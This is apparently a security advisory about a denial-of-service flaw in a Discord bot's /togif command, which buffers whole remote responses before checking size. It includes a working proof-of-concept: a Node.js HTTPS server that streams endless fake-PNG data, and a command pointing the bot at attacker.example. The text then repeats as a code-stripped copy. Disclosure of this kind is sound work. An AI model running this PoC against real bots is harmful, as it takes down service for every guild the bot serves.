Summary
The /togif command downloads an attacker-controlled HTTPS response into memory before enforcing its 8 MiB limit. A normal Discord user can provide a chunked image response without a Content-Length header, causing the bot’s memory usage to grow until the process becomes unavailable.
Details
The URL is supplied by the user in apps/bot/src/commands/utility/fun/toGif.ts:29 and passed to safeFetch() at line 35.
The command trusts Content-Length for its initial size check:
// apps/bot/src/commands/utility/fun/toGif.ts:57-65
const contentLength = response.headers.get('content-length');
if (contentLength && parseInt(contentLength, 10) > MAX_SIZE) {
// reject
}
const arrayBuffer = await response.arrayBuffer();
When the server omits Content-Length, response.arrayBuffer() buffers the complete response. The real size check occurs only afterward at toGif.ts:66-70, after the memory has already been allocated.
safeFetch() returns the remote response as an unrestricted stream in apps/bot/src/lib/safeFetch.ts:39-49 and safeFetch.ts:76-98. It does not enforce a maximum number of response bytes.
The devMode precondition does not normally restrict the command. apps/bot/src/preconditions/devMode.ts:25-30 permits every user unless the optional DEV=true setting is enabled.
PoC
Run the following server on an attacker-controlled public HTTPS host:
import https from "node:https";
import fs from "node:fs";
const chunk = Buffer.alloc(1024 * 1024);
Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]).copy(chunk);
https.createServer(
{
key: fs.readFileSync("./key.pem"),
cert: fs.readFileSync("./cert.pem"),
},
(_req, res) => {
res.writeHead(200, {
"Content-Type": "image/png",
});
const timer = setInterval(() => res.write(chunk), 250);
res.on("close", () => clearInterval(timer));
},
).listen(443);
Invoke the command as an ordinary Discord user:
/togif url:https://attacker.example/stream
Monitor the bot process:
watch -n 0.5 'ps -o pid,rss,cmd -C node'
Impact
An ordinary Discord user can remotely exhaust the memory of the bot process. This interrupts all bot functionality for every guild served by the affected process or shard.
Summary
The
/togifcommand downloads an attacker-controlled HTTPS response into memory before enforcing its 8 MiB limit. A normal Discord user can provide a chunked image response without aContent-Lengthheader, causing the bot’s memory usage to grow until the process becomes unavailable.Details
The URL is supplied by the user in
apps/bot/src/commands/utility/fun/toGif.ts:29and passed tosafeFetch()at line 35.The command trusts
Content-Lengthfor its initial size check:When the server omits
Content-Length,response.arrayBuffer()buffers the complete response. The real size check occurs only afterward attoGif.ts:66-70, after the memory has already been allocated.safeFetch()returns the remote response as an unrestricted stream inapps/bot/src/lib/safeFetch.ts:39-49andsafeFetch.ts:76-98. It does not enforce a maximum number of response bytes.The
devModeprecondition does not normally restrict the command.apps/bot/src/preconditions/devMode.ts:25-30permits every user unless the optionalDEV=truesetting is enabled.PoC
Run the following server on an attacker-controlled public HTTPS host:
Invoke the command as an ordinary Discord user:
Monitor the bot process:
watch -n 0.5 'ps -o pid,rss,cmd -C node'Impact
An ordinary Discord user can remotely exhaust the memory of the bot process. This interrupts all bot functionality for every guild served by the affected process or shard.